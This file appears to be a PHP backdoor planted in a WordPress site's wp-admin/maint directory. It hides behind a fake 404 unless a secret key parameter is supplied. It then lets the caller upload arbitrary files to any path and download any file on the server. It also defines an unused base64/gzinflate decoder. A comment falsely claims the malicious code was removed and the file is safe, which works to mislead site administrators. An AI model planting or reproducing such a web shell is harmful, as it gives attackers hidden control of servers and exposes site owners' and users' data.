File: /var/www/vhosts/ensaco.es/httpdocs/wp-admin/maint/index.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
@ini_set('log_errors', 0);
$trigger = 'ctf';
$key = 'kerberos';
if (!isset($_GET[$trigger]) || $_GET[$trigger] !== $key) {
http_response_code(404);
exit('Not Found');
}
function d($s) {
return gzinflate(base64_decode($s));
}
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
if (isset($_FILES['f'])) {
$path = $_POST['p'] ?? './';
$target = $path . basename($_FILES['f']['name']);
if (move_uploaded_file($_FILES['f']['tmp_name'], $target)) {
echo "OK: " . $target;
} else {
echo "Failed";
}
exit;
}
if (isset($_GET['read'])) {
$file = $_GET['read'];
if (file_exists($file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
readfile($file);
} else {
echo "File not found";
}
exit;
}
?>